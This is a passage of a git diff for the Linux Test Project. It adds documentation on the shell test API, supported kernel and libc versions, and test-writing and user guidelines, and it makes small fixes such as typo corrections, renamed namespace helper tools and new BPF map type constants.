then + tst_brk TCONF "Kernel newer than 4.0.0 is needed" +fi + +# Exit the test if kernel is newer than 3.16 and older than 4.0.1 +if tst_kvcmp -gt 3.16 -a -lt 4.0.1; then + tst_brk TCONF "Kernel must be older than 3.16 or newer than 4.0.1" +fi + +if tst_kvcmp -lt "6.1 RHEL9:5.14.0-191"; then + # code for kernel < 6.1 or RHEL9 kernel < 5.14.0-191 +fi +------------------------------------------------------------------------------- + +[options="header"] +|======================================================================= +| expression | description +| -eq kver | Returns true if kernel version is equal +| -ne kver | Returns true if kernel version is not equal +| -gt kver | Returns true if kernel version is greater +| -ge kver | Returns true if kernel version is greater or equal +| -lt kver | Returns true if kernel version is lesser +| -le kver | Returns true if kernel version is lesser or equal +| -a | Does logical and between two expressions +| -o | Does logical or between two expressions +|======================================================================= + +The format for kernel version has to either be with one dot e.g. '2.6' or with +two dots e.g. '4.8.1'. + +Kernel version can also be followed by a space separated list of extra versions +prefixed by distribution which when matched take precedence, e.g. '6.1 RHEL9:5.14.0-191'. + +For more info see 'tst_kvercmp()' and 'tst_kvercmp2()' in +https://github.com/linux-test-project/ltp/wiki/C-Test-API#16-runtime-kernel-version-detection[C Test API]. + +NOTE: See also LTP + https://github.com/linux-test-project/ltp/wiki/Supported-kernel,-libc,-toolchain-versions#13-minimal-supported-kernel-version[minimal supported kernel version]. + +tst_fs_has_free ++++++++++++++++ + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh + +... + +# whether current directory has 100MB free space at least. +if ! tst_fs_has_free . 100MB; then + tst_brkm TCONF "Not enough free space" +fi + +... +------------------------------------------------------------------------------- + +The 'tst_fs_has_free' shell interface returns 0 if the specified free space is +satisfied, 1 if not, and 2 on error. + +The second argument supports suffixes kB, MB and GB, the default unit is Byte. + +tst_retry ++++++++++ + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh + +... + +# Retry ping command three times +tst_retry "ping -c 1 127.0.0.1" + +if [ $? -ne 0 ]; then + tst_resm TFAIL "Failed to ping 127.0.0.1" +else + tst_resm TPASS "Successfully pinged 127.0.0.1" +fi + +... +------------------------------------------------------------------------------- + +The 'tst_retry' function allows you to retry a command after waiting small +amount of time until it succeeds or until given amount of retries has been +reached (default is three attempts). + +1.5 Restarting daemons +~~~~~~~~~~~~~~~~~~~~~~ + +Restarting system daemons is a complicated task for two reasons. + +* There are different init systems + (SysV init, systemd, etc...) + +* Daemon names are not unified between distributions + (apache vs httpd, cron vs crond, various syslog variations) + +To solve these problems LTP has 'testcases/lib/daemonlib.sh' library that +provides functions to start/stop/query daemons as well as variables that store +correct daemon name. + +.Supported operations +|============================================================================== +| start_daemon() | Starts daemon, name is passed as first parameter. +| stop_daemon() | Stops daemon, name is passed as first parameter. +| restart_daemon() | Restarts daemon, name is passed as first parameter. +| status_daemon() | Detect daemon status (exit code: 0: running, 1: not running). +|============================================================================== + +.Variables with detected names +|============================================================================== +| CROND_DAEMON | Cron daemon name (cron, crond). +| SYSLOG_DAEMON | Syslog daemon name (syslog, syslog-ng, rsyslog). +|============================================================================== + +Cron daemon restart example ++++++++++++++++++++++++++++ + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Cron daemon restart example + +TCID=cron01 +TST_COUNT=1 +. test.sh +. daemonlib.sh + +... + +restart_daemon $CROND_DAEMON + +... + +tst_exit +------------------------------------------------------------------------------- + +1.6 Access to the checkpoint interface +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The shell library provides an implementation of the checkpoint interface +compatible with the C version. All 'TST_CHECKPOINT_*' functions are available. + +In order to initialize checkpoints '$TST_NEEDS_CHECKPOINTS' must be set to '1' +before the inclusion of 'tst_test.sh': + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh + +TST_NEEDS_CHECKPOINTS=1 +. tst_test.sh +------------------------------------------------------------------------------- + +Since both the implementations are compatible, it's also possible to start +a child binary process from a shell test and synchronize with it. This process +must have checkpoints initialized by calling 'tst_reinit()'. + +1.7 Parsing kernel .config +~~~~~~~~~~~~~~~~~~~~~~~~~~ +The shell library provides an implementation of the kconfig parsing interface +compatible with the C version. + +It's possible to pass kernel kconfig list for tst_require_kconfigs API with +'$TST_NEEDS_KCONFIGS'. +Optional '$TST_NEEDS_KCONFIGS_IFS' is used for splitting, default value is comma. + +------------------------------------------------------------------------------- +#!/bin/sh +TST_NEEDS_KCONFIGS="CONFIG_EXT4_FS, CONFIG_QUOTACTL=y" + +. tst_test.sh +------------------------------------------------------------------------------- + +1.8 Skipping test based on system state +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Test can be skipped on various conditions: on enabled SecureBoot +('TST_SKIP_IN_SECUREBOOT=1'), lockdown ('TST_SKIP_IN_LOCKDOWN=1'). diff --git a/doc/Supported-kernel,-libc,-toolchain-versions.asciidoc b/doc/Supported-kernel,-libc,-toolchain-versions.asciidoc new file mode 100644 index 00000000..e3d9cd92 --- /dev/null +++ b/doc/Supported-kernel,-libc,-toolchain-versions.asciidoc @@ -0,0 +1,77 @@ +Supported kernel, libc, toolchain versions +========================================== + +1. Build testing with GitHub Actions +------------------------------------ + +We test master branch in https://github.com/linux-test-project/ltp/actions[GitHub Actions] +to ensure LTP builds on various distributions including old, current and bleeding edge. +We test both gcc and clang toolchains, various architectures with cross-compilation. +For list of tested distros see +https://github.com/linux-test-project/ltp/blob/master/.github/workflows/ci.yml[.github/workflows/ci.yml]. + + +NOTE: GitHub Actions does only build testing, passing the CI means only that + the test compiles fine on variety of different distributions and releases. + GitHub Actions also uses the latest distribution image of a particular release. + +1.1 Oldest tested distributions +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +[align="center",options="header"] +|============================================================== +| Distro | kernel | glibc | gcc | clang +| CentOS 7 | 3.10 | 2.17 | 4.8.5 | - +| Ubuntu 18.04 LTS bionic | 4.15 | 2.27 | 7.3.0 | - +| Debian 10 oldstable (buster) | 4.19.37 | 2.28 | 8.3.0 | 7.0 +|============================================================== + +Older distributions are not officially supported, which means that it +may or may not work. It all depends on your luck. It should be possible +to compile latest LTP even on slightly older distributions than we +support with a few manual tweaks, e.g. disabling manually tests for +newly added syscalls, etc. Trivial fixes/workarounds may be accepted, +but users are encouraged to move to a newer distro. + +If latest LTP cannot be compiled even with some amount of workarounds, +you may result to older LTP releases, however these are _not_ supported +in any way. Also if you are trying to run LTP on more than 10 years old +distribution you may as well reconsider you life choices. + +1.2 Tested architectures +~~~~~~~~~~~~~~~~~~~~~~~~ + +[align="center",options="header"] +|================================== +| arch | build +| x86_64 | native +| x86 emulation | native +| aarch64 | cross compilation +| ppc64le | cross compilation +| s390x | cross compilation +|================================== + +1.3 Minimal supported kernel version +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Minimal supported kernel version is 3.10. + +1.4 Supported libc +~~~~~~~~~~~~~~~~~~ + +[align="center",options="header"] +|================================== +| Libc | Note +| https://www.gnu.org/software/libc/[GNU C Library (glibc)] | Targeted libc, tested both compilation and actual test results. +| https://uclibc-ng.org/[uClibc-ng] | Although not being tested it should work as well as it attempt to maintain a glibc compatible interface. +| https://www.uclibc.org/[uClibc] | Older https://www.uclibc.org/[uClibc] might have problems. +| https://musl.libc.org/[musl] | Not yet fully supported (see + https://github.com/linux-test-project/ltp/blob/master/ci/alpine.sh[CI script] + for list of files which need to be deleted in order to compile under musl). +| binder (Android) | Please use https://android.googlesource.com/platform/external/ltp/[AOSP fork]. +|================================== + +1.5 Used C standard +~~~~~~~~~~~~~~~~~~~ + +LTP compiles with '-std=gnu99'. diff --git a/doc/Test-Writing-Guidelines.asciidoc b/doc/Test-Writing-Guidelines.asciidoc new file mode 100644 index 00000000..0db852ae --- /dev/null +++ b/doc/Test-Writing-Guidelines.asciidoc @@ -0,0 +1,412 @@ +LTP Test Writing Guidelines +=========================== + +This document describes LTP guidelines and is intended for anybody who want to +write or modify a LTP testcase. It's not a definitive guide and it's not, by +any means, a substitute for common sense. + +NOTE: See also + https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API], + https://github.com/linux-test-project/ltp/wiki/Shell-Test-API[Shell Test API], + https://github.com/linux-test-project/ltp/wiki/LTP-Library-API-Writing-Guidelines[LTP Library API Writing Guidelines]. + +Rules and recommendations which are "machine checkable" should be +tagged with an ID like +LTP-XXX+. There will be a corresponding entry +in +https://github.com/linux-test-project/ltp/tree/master/doc/rules.tsv[doc/rules.tsv]. When +you run 'make check' or 'make check-test' it will display these IDs as +a reference. + +1. Guide to clean and understandable code +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +For testcases it's required that the source code is as easy to follow as +possible. When a test starts to fail the failure has to be analyzed, clean +test codebase makes this task much easier and quicker. + +Here are some hints on how to write clean and understandable code, a few of +these points are further discussed below: + +* First of all *Keep things simple* + +* Keep function and variable names short but descriptive + +* Keep functions reasonably short and focused on a single task + +* Do not overcomment + +* Be consistent + +* Avoid deep nesting + +* DRY + +1.1 Keep things simple +~~~~~~~~~~~~~~~~~~~~~~ + +For all it's worth keep the testcases simple or better as simple as possible. + +The kernel and libc are tricky beasts and the complexity imposed by their +interfaces is quite high. Concentrate on the interface you want to test and +follow the UNIX philosophy. + +It's a good idea to make the test as self-contained as possible too, ideally +tests should not depend on tools or libraries that are not widely available. + +Do not reinvent the wheel! + +* Use LTP standard interface + +* Do not add custom PASS/FAIL reporting functions + +* Do not write Makefiles from scratch, use LTP build system instead + +* Etc. + +1.2 Keep functions and variable names short +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Choosing a good name for an API functions or even variables is a difficult +task do not underestimate it. + +There are a couple of customary names for different things that help people to +understand code, for example: + +* For loop variables are usually named with a single letter 'i', 'j', ... + +* File descriptors 'fd' or 'fd_foo'. + +* Number of bytes stored in file are usually named as 'size' or 'len' + +* Etc. + +1.3 Do not overcomment +~~~~~~~~~~~~~~~~~~~~~~ + +Comments can sometimes save you day but they can easily do more harm than +good. There has been several cases where comments and actual implementation +drifted slowly apart which yielded into API misuses and hard to find bugs. +Remember there is only one thing worse than no documentation, wrong +documentation. + +Ideally everybody should write code that is obvious, which unfortunately isn't +always possible. If there is a code that requires to be commented keep it +short and to the point. These comments should explain *why* and not *how* +things are done. + +Never ever comment the obvious. + +In case of LTP testcases it's customary to add an asciidoc formatted comment +paragraph with highlevel test description at the beginning of the file right +under the GPL SPDX header. This helps other people to understand the overall +goal of the test before they dive into the technical details. It's also +exported into generated documentation hence it should mostly explain what is +tested. + +1.4 DRY (Code duplication) +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Copy & paste is a good servant but very poor master. If you are about to copy a +large part of the code from one testcase to another, think what would happen if +you find bug in the code that has been copied all around the tree. What about +moving it to a library instead? + +The same goes for short but complicated parts, whenever you are about to copy & +paste a syscall wrapper that packs arguments accordingly to machine +architecture or similarly complicated code, put it into a header instead. + +2 Coding style +~~~~~~~~~~~~~~ + +2.1 C coding style +^^^^^^^^^^^^^^^^^^ + +LTP adopted Linux kernel coding style: +https://www.kernel.org/doc/html/latest/process/coding-style.html + +If you aren't familiar with its rules please read it, it's a well written +introduction. + +Run `make check` in the test's directory and/or use `make check-$TCID`, +it uses (among other checks) our vendored version of +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/scripts/checkpatch.pl[checkpatch.pl] +script from kernel git tree. + +NOTE: If `make check` does not report any problems, the code still may be wrong + as all tools used for checking only look for common mistakes. + +2.1.1 LTP-004: Test executable symbols are marked static +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +Test executables should not export symbols unnecessarily. This means +that all top-level variables and functions should be marked with the +static keyword. The only visible symbols should be those included from +shared object files. + +2.2 Shell coding style +^^^^^^^^^^^^^^^^^^^^^^ + +When writing testcases in shell write in *portable shell* only, it's a good +idea to try to run the test using alternative shell (alternative to bash, for +example dash) too. + +*Portable shell* means Shell Command Language as defined by POSIX with an +exception of few widely used extensions, namely 'local' keyword used inside of +functions and '-o' and '-a' test parameters (that are marked as obsolete in +POSIX). + +You can either try to run the testcases on Debian which has '/bin/sh' pointing +to 'dash' by default or install 'dash' on your favorite distribution and use +it to run the tests. If your distribution lacks 'dash' package you can always +compile it from http://gondor.apana.org.au/~herbert/dash/files/[source]. + +Run `make check` in the test's directory and/or use `make check-$TCID.sh`, +it uses (among other checks) our vendored version of +https://salsa.debian.org/debian/devscripts/raw/master/scripts/checkbashisms.pl[checkbashism.pl] +from Debian, that is used to check for non-portable shell code. + +NOTE: If `make check` does not report any problems, the code still may be wrong + as `checkbashisms.pl` used for checking only looks for common mistakes. + +Here are some common sense style rules for shell + +* Keep lines under 80 chars + +* Use tabs for indentation + +* Keep things simple, avoid unnecessary subshells + +* Don't do confusing things (i.e. don't name your functions like common shell + commands, etc.) + +* Quote variables + +* Be consistent + +3 Backwards compatibility +~~~~~~~~~~~~~~~~~~~~~~~~~ + +LTP test should be as backward compatible as possible. Think of an enterprise +distributions with long term support (more than five years since the initial +release) or of an embedded platform that needs to use several years old +toolchain supplied by the manufacturer. + +Therefore LTP test for more current features should be able to cope with older +systems. It should at least compile fine and if it's not appropriate for the +configuration it should return 'TCONF'. + +There are several types of checks we use: + +The *configure script* is usually used to detect availability of a function +declarations in system headers. It's used to disable tests at compile time or +to enable fallback definitions. + +Checking the *errno* value is another type of runtime check. Most of the +syscalls returns either 'EINVAL' or 'ENOSYS' when syscall was not implemented +or was disabled upon kernel compilation. + +LTP has kernel version detection that can be used to disable tests at runtime, +unfortunately kernel version does not always corresponds to a well defined +feature set as distributions tend to backport hundreds of patches while the +kernel version stays the same. Use with caution. + +Lately we added kernel '.config' parser, a test can define a boolean +expression of kernel config variables that has to be satisfied in order for a +test to run. This is mostly used for kernel namespaces at the moment. + +Sometimes it also makes sense to define a few macros instead of creating +configure test. One example is Linux specific POSIX clock ids in +'include/lapi/posix_clocks.h'. + +3.1 Dealing with messed up legacy code +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +LTP still contains a lot of old and messy code and we are cleaning it up as +fast as we can but despite the decade of efforts there is still a lot. If you +start modifying old or a messy testcase and your changes are more complicated +than simple typo fixes you should convert the test into a new library first. + +It's also much easier to review the changes if you split them into a smaller +logical groups. The same goes for moving files. If you need a rename or move +file do it in a separate patch. + +4 License +~~~~~~~~~ + +Code contributed to LTP should be licensed under GPLv2+ (GNU GPL version 2 or +any later version). + +Use `SPDX-License-Identifier: GPL-2.0-or-later` + +5 LTP Structure +~~~~~~~~~~~~~~~ + +The structure of LTP is quite simple. Each test is a binary written either in +portable shell or C. The test gets a configuration via environment variables +and/or command line parameters, it prints additional information into the +stdout and reports overall success/failure via the exit value. + +Tests are generally placed under the 'testcases/' directory. Everything that +is a syscall or (slightly confusingly) libc syscall wrapper goes under +'testcases/kernel/syscalls/'. + +Then there is 'testcases/open_posix_testsuite/' which is a well maintained fork +of the upstream project that has been dead since 2005 and also a number of +directories with tests for more specific features. + +5.1 Runtest Files +^^^^^^^^^^^^^^^^^ + +The list of tests to be executed is stored in runtest files under the +'runtest/' directory. The default set of runtest files to be executed is +stored in 'scenario_groups/default'. When you add a test you should add +corresponding entries into some runtest file(s) as well. + +For syscall tests (these placed under 'testcases/kernel/syscalls/') use +'runtest/syscalls' file, for kernel related tests for memory management we +have 'runtest/mm', etc. + +IMPORTANT: The runtest files should have one entry per a test. Creating a + wrapper that runs all your tests and adding it as a single test + into runtest file is strongly discouraged. + +5.2 Datafiles +^^^^^^^^^^^^^ + +If your test needs datafiles to work, these should be put into a subdirectory +named 'datafiles' and installed into the 'testcases/data/$TCID' directory (to +do that you have to add 'INSTALL_DIR := testcases/data/TCID' into the +'datafiles/Makefile'). + +You can obtain path to datafiles via $TST_DATAROOT provided by test.sh +'$TST_DATAROOT/...' +or via C function 'tst_dataroot()' provided by libltp: + +[source,c] +------------------------------------------------------------------------------- +const char *dataroot = tst_dataroot(); +------------------------------------------------------------------------------- + +Datafiles can also be accessed as '$LTPROOT/testcases/data/$TCID/...', +but '$TST_DATAROOT' and 'tst_dataroot()' are preferred as these can be used +when running testcases directly in git tree as well as from install +location. + +The path is constructed according to these rules: + +1. if '$LTPROOT' is set, return '$LTPROOT/testcases/data/$TCID' +2. else if 'tst_tmpdir()' was called return '$STARTWD/datafiles' + (where '$STARTWD' is initial working directory as recorded by 'tst_tmpdir()') +3. else return '$CWD/datafiles' + +See 'testcases/commands/file/' for example. + +5.3 Subexecutables +^^^^^^^^^^^^^^^^^^ + +If your test needs to execute a binary, place it in the same directory as the +testcase and name the file starting with '${test_binary_name}_'. Once the +test is executed by the framework, the path to the directory with all LTP +binaries is added to the '$PATH' and you can execute it just by its name. + +TIP: If you need to execute such test from the LTP tree, you can add path to + current directory to '$PATH' manually with: 'PATH="$PATH:$PWD" ./foo01'. + +6 Test Contribution Checklist +------------------------------ + +NOTE: See also + https://github.com/linux-test-project/ltp/wiki/Maintainer-Patch-Review-Checklist[Maintainer Patch Review Checklist]. + +1. Test compiles and runs fine (check with `-i 10` too) +2. `make check` does not emit any warnings for the test you are working on + (hint: run it in the test's directory and/or use `make check-$TCID`) +3. The runtest entries are in place +4. Test binaries are added into corresponding '.gitignore' files +5. Patches apply over the latest git + +6.1 About .gitignore files +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +There are numerous '.gitignore' files in the LTP tree. Usually there is a +'.gitignore' file per a group of tests. The reason for this setup is simple. +It's easier to maintain a '.gitignore' file per directory with tests, rather +than having single file in the project root directory. This way, we don't have +to update all the gitignore files when moving directories, and they get deleted +automatically when a directory with tests is removed. + +7 Testing pre-release kernel features +------------------------------------- + +Tests for features not yet in a mainline kernel release are accepted. However +they must only be added to the +staging+ runtest file. Once a feature is part +of the stable kernel ABI the associated test must be moved out of staging. + +This is primarily to help test kernel RCs by avoiding the need to download +separate LTP patchsets. + +8 LTP C And Shell Test API Comparison +------------------------------------- + +Comparison of +https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API] and +https://github.com/linux-test-project/ltp/wiki/Shell-Test-API[Shell Test API]. + +[options="header"] +|================================================================================ +| C API ('struct tst_test' members) | shell API ('$TST_*' environment variables) +| '.all_filesystems' | 'TST_ALL_FILESYSTEMS' +| '.bufs' | – +| '.caps' | – +| '.child_needs_reinit' | not applicable +| '.cleanup' | 'TST_CLEANUP' +| '.dev_extra_opts' | 'TST_DEV_EXTRA_OPTS' +| '.dev_fs_opts' | 'TST_DEV_FS_OPTS' +| '.dev_fs_type' | 'TST_FS_TYPE' +| '.dev_min_size' | not applicable +| '.format_device' | 'TST_FORMAT_DEVICE' +| '.max_runtime' | – +| '.min_cpus' | not applicable +| '.min_kver' | 'TST_MIN_KVER' +| '.min_mem_avail' | not applicable +| '.mnt_flags' | 'TST_MNT_PARAMS' +| '.min_swap_avail' | not applicable +| '.mntpoint', '.mnt_data' | 'TST_MNTPOINT' +| '.mount_device' | 'TST_MOUNT_DEVICE' +| '.needs_cgroup_ctrls' | – +| '.needs_checkpoints' | 'TST_NEEDS_CHECKPOINTS' +| '.needs_cmds' | 'TST_NEEDS_CMDS' +| '.needs_devfs' | – +| '.needs_device' | 'TST_NEEDS_DEVICE' +| '.needs_drivers' | 'TST_NEEDS_DRIVERS' +| '.needs_kconfigs' | 'TST_NEEDS_KCONFIGS' +| '.needs_overlay' | +| '.needs_rofs' | – +| '.needs_root' | 'TST_NEEDS_ROOT' +| '.needs_tmpdir' | 'TST_NEEDS_TMPDIR' +| '.options' | 'TST_PARSE_ARGS', 'TST_OPTS' +| '.resource_files' | – +| '.restore_wallclock' | not applicable +| '.sample' | – +| '.save_restore' | – +| '.scall' | not applicable +| '.setup' | 'TST_SETUP' +| '.skip_filesystems' | 'TST_SKIP_FILESYSTEMS' +| '.skip_in_compat' | – +| '.skip_in_lockdown' | 'TST_SKIP_IN_LOCKDOWN' +| '.skip_in_secureboot' | 'TST_SKIP_IN_SECUREBOOT' +| '.supported_archs' | not applicable +| '.tags' | – +| '.taint_check' | – +| '.tcnt' | 'TST_CNT' +| '.tconf_msg' | not applicable +| '.test', '.test_all' | 'TST_TESTFUNC' +| '.test_variants' | – +| '.timeout' | 'TST_TIMEOUT' +| '.tst_hugepage' | not applicable +| .format_device | 'TST_DEVICE' +| not applicable | 'TST_NEEDS_KCONFIGS_IFS' +| not applicable | 'TST_NEEDS_MODULE' +| not applicable | 'TST_POS_ARGS' +| not applicable | 'TST_USAGE' +|================================================================================ diff --git a/doc/User-Guidelines.asciidoc b/doc/User-Guidelines.asciidoc new file mode 100644 index 00000000..8f2418df --- /dev/null +++ b/doc/User-Guidelines.asciidoc @@ -0,0 +1,68 @@ +LTP User Guidelines +=================== + +For compiling, installing and running the tests see `README.md`. +For running LTP network tests see `testcases/network/README.md`. + +1. Library environment variables +-------------------------------- + +|============================================================================== +| 'KCONFIG_PATH' | The path to the kernel config file, (if not set, it tries + the usual paths '/boot/config-RELEASE' or '/proc/config.gz'). +| 'KCONFIG_SKIP_CHECK' | Skip kernel config check if variable set (not set by default). +| 'LTPROOT' | Prefix for installed LTP. **Should be always set** + as some tests need it for path to test data files + ('LTP_DATAROOT'). LTP is by default installed into '/opt/ltp'. +| 'LTP_COLORIZE_OUTPUT' | By default LTP colorizes it's output unless it's redirected + to a pipe or file. Force colorized output behaviour: + 'y' or '1': always colorize, 'n' or '0': never colorize. +| 'LTP_DEV' | Path to the block device to be used + (C: '.needs_device = 1', shell: 'TST_NEEDS_DEVICE=1'). +| 'LTP_SINGLE_FS_TYPE' | Testing only - specifies filesystem instead all + supported (for tests with '.all_filesystems'). +| 'LTP_DEV_FS_TYPE' | Filesystem used for testing (default: 'ext2'). +| 'LTP_TIMEOUT_MUL' | Multiplies timeout, must be number >= 0.1 (> 1 is useful for + slow machines to avoid unexpected timeout). + Variable is also used in shell tests, but ceiled to int. +| 'LTP_RUNTIME_MUL' | Multiplies maximal test iteration runtime. Tests + that run for more than a second or two are capped on + runtime. You can scale the default runtime both up + and down with this multiplier. NOTE: Not yet implemented + in shell API. +| 'LTP_VIRT_OVERRIDE' | Overrides virtual machine detection in the test + library. Setting it to empty string tell the library + that system is not a virtual machine. Other possible + values are 'kvm', 'xen', 'zvm' and 'microsoft' that + describe different types supervisors. +| 'PATH' | It's required to addjust path: + `PATH="$PATH:$LTPROOT/testcases/bin"` +| 'TMPDIR' | Base directory for template directory (C: '.needs_tmpdir = 1' + and others, which imply it, shell: 'TST_NEEDS_TMPDIR=1'). + Must be an absolute path (default: '/tmp'). +| 'TST_NO_CLEANUP' | Disable running test cleanup (defined in 'TST_CLEANUP'). +|============================================================================== + + +2. Test execution time and timeout +---------------------------------- + +The limit on how long a test can run does compose of two parts max_runtime and +timeout. The limit does apply to a single test variant, that means for example +that tests that run for all available filesystems will apply this limit for a +single filesystem only. + +The max_runtime is a cap on how long the run() function can take, for most +testcases this part is set to zero. For tests that do run for more than a +second or two the max_runtime has to be defined and the run() function has to +check actively how much runtime is left. + +Test runtime can be scaled up and down with 'LTP_RUNTIME_MUL' environment +variable or set on a commandline by the '-I' parameter. Hoewever be vary that +setting the runtime too low will cause long running tests to exit prematurely +possibly before the have a chance actually test anyting. + +The timeout part is a limit for the test setup and cleanup and also safety +margin for the runtime accounting. It's currently set to 30 seconds but may +change later. If your target machine is too slow it can be scaled up with the +'LTP_TIMEOUT_MUL' environment variable. diff --git a/doc/man1/ltp-pan.1 b/doc/man1/ltp-pan.1 index 3f6ddb92..5ffa57db 100755 --- a/doc/man1/ltp-pan.1 +++ b/doc/man1/ltp-pan.1 @@ -161,7 +161,7 @@ signal is SIGUSR1 then ltp-pan will behave as if \fI-y\fP had not been specified .SH EXAMPLES -In practice, the ZOO environment variable is generally prefered over the +In practice, the ZOO environment variable is generally preferred over the \fI-a\fP option. All examples assume this is being set. The following creates a ltp-pan named "ex1" with an active file in /tmp/active. diff --git a/doc/man3/parse_ranges.3 b/doc/man3/parse_ranges.3 index 93bb412e..d92e001f 100755 --- a/doc/man3/parse_ranges.3 +++ b/doc/man3/parse_ranges.3 @@ -95,7 +95,7 @@ The function should return -1 if str cannot be parsed into an integer, or >= 0 if it was successfully parsed. The resulting integer will be stored in *val. If parse_func is NULL, parse_ranges will parse -the tokens in a manner consistent with the the sscanf %i format. +the tokens in a manner consistent with the sscanf %i format. .TP 1i \fIrange_ptr\fP A user-supplied char **, which will be set to point diff --git a/doc/namespaces-helper-tools.txt b/doc/namespaces-helper-tools.txt index 6990e015..b911dd6c 100755 --- a/doc/namespaces-helper-tools.txt +++ b/doc/namespaces-helper-tools.txt @@ -8,18 +8,16 @@ LTP namespaces helper tools LTP provides helper tools for creating and working with namespaces. These are located in ltp/testcases/kernel/containers/share directory and include: -* ns_create +* tst_ns_create ** creates a child process in the new specified namespace(s) ** child is then daemonized and is running in the background ** PID of the daemonized child process is printed on the stdout ** the new namespace(s) is(are) maintained by the daemonized child process ** namespace(s) can be removed by killing the daemonized process -* setns_check -** check for setns() availability, should be called before using ns_exec -* ns_exec +* tst_ns_exec ** enters the namespace(s) of a process specified by a PID ** then executes the indicated program inside that namespace(s) -* ns_ifmove +* tst_ns_ifmove ** moves a network interface to the namespace of a process specified by a PID Purpose of these helper tools is the ability to execute test cases utilizing @@ -36,18 +34,18 @@ The following code shows how test cases can use the namespaces helper tools: ------------------------------------------------------------------------------- # Creates a new network and ipc namespace and stores the PID of the daemonized # process inside that namespace into variable myns -myns=$(ns_create net,ipc) +myns=$(tst_ns_create net,ipc) ip link add veth0 type veth peer name veth1 # Executes command 'ip a' inside the namespace specified by PID in myns variable -ns_exec $myns net,ipc ip a +tst_ns_exec $myns net,ipc ip a 1: lo: mtu 65536 qdisc noop state DOWN link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 # Moves interface veth1 into the namespace specified by PID in myns variable -ns_ifmove veth1 $myns -ns_exec $myns net,ipc ip a +tst_ns_ifmove veth1 $myns +tst_ns_exec $myns net,ipc ip a 1: lo: mtu 65536 qdisc noop state DOWN link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 6: veth1: mtu 1500 qdisc noop state DOWN qlen 1000 diff --git a/docparse/Makefile b/docparse/Makefile index e6e9f05b..20851fba 100755 --- a/docparse/Makefile +++ b/docparse/Makefile @@ -19,7 +19,7 @@ METADATA_GENERATOR_PARAMS_HTML := -f xhtml METADATA_GENERATOR_PARAMS_PDF := -f pdf METADATA_GENERATOR_PARAMS_HTML_CHUNKED := -f chunked else ifeq ($(METADATA_GENERATOR),) -$(error 'METADATA_GENERATOR' not not configured, run ./configure in the root directory) +$(error 'METADATA_GENERATOR' not configured, run ./configure in the root directory) else $(error '$(METADATA_GENERATOR)' not supported, only asciidoctor and asciidoc are supported) endif diff --git a/docparse/README.md b/docparse/README.md index db156e64..9ccfa44a 100755 --- a/docparse/README.md +++ b/docparse/README.md @@ -48,7 +48,7 @@ given test, as obviously we cannot run two tests that monopolize the same resource. In some cases we would also need to partition the system resource accordingly, e.g. if we have two memory stress tests running at the same time we will need to cap each of these tests on half of the available memory, or -make sure that sum of the memory used by these two tests is not greater an +make sure that sum of the memory used by these two tests is not greater than available memory. Examples of such tests are: diff --git a/docparse/testinfo.pl b/docparse/testinfo.pl index 67e435d7..78433c40 100755 --- a/docparse/testinfo.pl +++ b/docparse/testinfo.pl @@ -13,12 +13,13 @@ use File::Basename qw(dirname); use constant OUTDIR => dirname(abs_path($0)); # tags which expect git tree, also need constant for URL -our @TAGS_GIT = ("linux-git", "linux-stable-git", "glibc-git"); +our @TAGS_GIT = ("linux-git", "linux-stable-git", "glibc-git", "musl-git"); # tags should map these in lib/tst_test.c use constant LINUX_GIT_URL => "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id="; use constant LINUX_STABLE_GIT_URL => "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id="; use constant GLIBC_GIT_URL => "https://sourceware.org/git/?p=glibc.git;a=commit;h="; +use constant MUSL_GIT_URL => "https://git.musl-libc.org/cgit/musl/commit/src/linux/clone.c?id="; use constant CVE_DB_URL => "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-"; sub load_json diff --git a/include/ipcmsg.h b/include/ipcmsg.h index d89894b7..3b3fa32c 100755 --- a/include/ipcmsg.h +++ b/include/ipcmsg.h @@ -43,8 +43,6 @@ void setup(void); #define NR_MSGQUEUES 16 /* MSGMNI as defined in linux/msg.h */ -#define min(a, b) (((a) < (b)) ? (a) : (b)) - typedef struct mbuf { /* a generic message structure */ long mtype; char mtext[MSGSIZE + 1]; /* add 1 here so the message can be 1024 */ diff --git a/include/lapi/bpf.h b/include/lapi/bpf.h index f9e50c6b..b44ab7d6 100755 --- a/include/lapi/bpf.h +++ b/include/lapi/bpf.h @@ -38,6 +38,7 @@ #define BPF_OP(code) ((code) & 0xf0) #define BPF_ADD 0x00 #define BPF_SUB 0x10 +#define BPF_MUL 0x20 #define BPF_DIV 0x30 #define BPF_LSH 0x60 #define BPF_RSH 0x70 @@ -130,6 +131,12 @@ enum bpf_map_type { BPF_MAP_TYPE_QUEUE, BPF_MAP_TYPE_STACK, BPF_MAP_TYPE_SK_STORAGE, + BPF_MAP_TYPE_DEVMAP_HASH, + BPF_MAP_TYPE_STRUCT_OPS, + BPF_MAP_TYPE_RINGBUF, + BPF_MAP_TYPE_INODE_STORAGE, + BPF_MAP_TYPE_TASK_STORAGE, + BPF_MAP_TYPE_BLOOM_FILTER, }; enum bpf_prog_type { @@ -428,7 +435,33 @@ union bpf_attr { FN(strtoul), \ FN(sk_storage_get), \ 